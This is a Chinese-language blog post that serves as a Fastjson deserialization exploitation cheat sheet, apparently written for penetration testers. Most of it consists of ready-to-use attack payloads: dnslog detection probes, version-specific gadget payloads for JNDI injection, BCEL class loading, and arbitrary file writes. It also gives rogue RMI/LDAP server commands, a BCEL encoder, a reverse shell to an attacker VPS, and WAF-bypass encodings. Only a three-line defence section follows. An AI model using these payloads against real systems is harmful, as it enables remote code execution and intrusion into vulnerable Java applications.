Ywc's blog

Fastjson漏洞总结

Word count: 1.8kReading time: 9 min
2020/07/21

fastjson反序列化漏洞原理

1、开启autotype功能
2、当组件开启了autotype功能并且反序列化不可信数据时
3、Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法
4、若指定类的指定方法中有可被恶意利用的逻辑(Gadget)
5、不开启autotype可利用缓存机制进行绕过

漏洞检测

1.检测是否Fastjson

payload:

1
2
3
4
5
6
7
8
9
[{"a":"a\x] dos漏洞
{"a":"
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{{"@type":"java.net.URL","val":"http://%s"}:"x"}

1.2.67版本前

1
2
3
4
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

2.精确检测版本

1
2
3
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a

攻击思路

1.2.24

1、基于jndi

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

2、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
(限制条件:解析JSON的时候需要使用Feature)

1
{"@type":sss"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

3、org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(限制条件:应用部署在Tomcat应用环境中 Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource )

1
2
3
4
{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}


{{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}}:"ddd"

1.2.47

1.2.25 以后autotype默认开启,所以41-45的一些Poc这里也不再列出, 我们直接跳到1.2.48以下不需要开启autotype下的Poc,其实1.2.47之前的Poc都可以改成绕过autotype格式

1
{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true}}

1.2.68

48以后68之前的Poc也需要目标开启autotype了,这里也跳过,直接看68的Poc,无须开启autype

fastjson-1.2.68 任意文件写入poc

1
2
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}
{"x":{"@type":"java.nio.charset.Charset","val":"500"}}

fastjson-1.2.68 jdbc反序列化poc

1
2
3
4
{"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}}
java -jar .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#ExportObject 1099

python3 -m http.server 2333

不出网利用

参考:https://mp.weixin.qq.com/s/LZt-I3s0dQ_bK9ubEix8iQ

这里主要基本Poc使用1.2.24 无需出网Poc + 1.2.47嘚绕过autotype

首先获取恶意class

1
2
3
4
5
6
7
8
public class Calc{
static {
try{
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
} catch (Exception e) {
}
}
}

获取到class文件后,转化为BCEL格式(建议以上两步在低版本jdk下运行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;


public class Test{


public static void main(String[] args) throws IOException {
Path path = Paths.get("D:\\java\\java_tools\\Calc.class");
byte[] bytes = Files.readAllBytes(path);
System.out.println(bytes.length);
String result = Utility.encode(bytes,true);
BufferedWriter bw = new BufferedWriter(new FileWriter("D:\\java\\java_tools\\bb.txt"));
bw.write("$$BCEL$$" + result);
bw.close();
}

基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "###EVIL_CODE###"
}
}

高版本jdk JNDI注入

参考项目:https://github.com/veracode-research/rogue-jndi
漏洞原理:https://paper.seebug.org/942/#ldapgadget

1.填写好你的反弹命令

1
sh -i >& /dev/tcp/你的vpsip/端口 0>&1

2.runtime base64编码

访问http://www.jackson-t.ca/runtime-exec-payloads.html

把第一步的命令粘进去,自动编码,复制下来把bash的关键字都改为sh

3.使用RogueJndi-1.0开启ldap

java -jar RogueJndi-1.0.jar -n “0.0.0.0” -c “写入第二步的命令”

4.jndi地址为

ldap://vpsip:1389/o=tomcat

注:rogue-jndi 没法绕tomcat7

Fastjson WAF 绕过

1、unicode编码

1
{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://t00ls.5cd37009d59fc2c7fc55f2bee57cafab.dnslog.cn/aaa","autoCommit":true}}

2、XCTF-校战“疫”中的ctf题目的一个payload:\x74

1
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","- prefix":"rmi://xxx.xxx"}

3、\b

1
{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

4、/**/

1
{"@type":/**/"Lcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}

防御手段

1、设置黑名单与白名单

2、禁用autotype等关键词,可以在WAF上设置

3、升级fastjson版本

Reference

Skay:Fastjson渗透测试指北

CATALOG
  1. 1. fastjson反序列化漏洞原理
  2. 2. 漏洞检测
  3. 3. 攻击思路
    1. 3.1. 1.2.24
    2. 3.2. 1.2.47
    3. 3.3. 1.2.68
    4. 3.4. 不出网利用
    5. 3.5. 高版本jdk JNDI注入
    6. 3.6. Fastjson WAF 绕过
  4. 4. 防御手段
  5. 5. Reference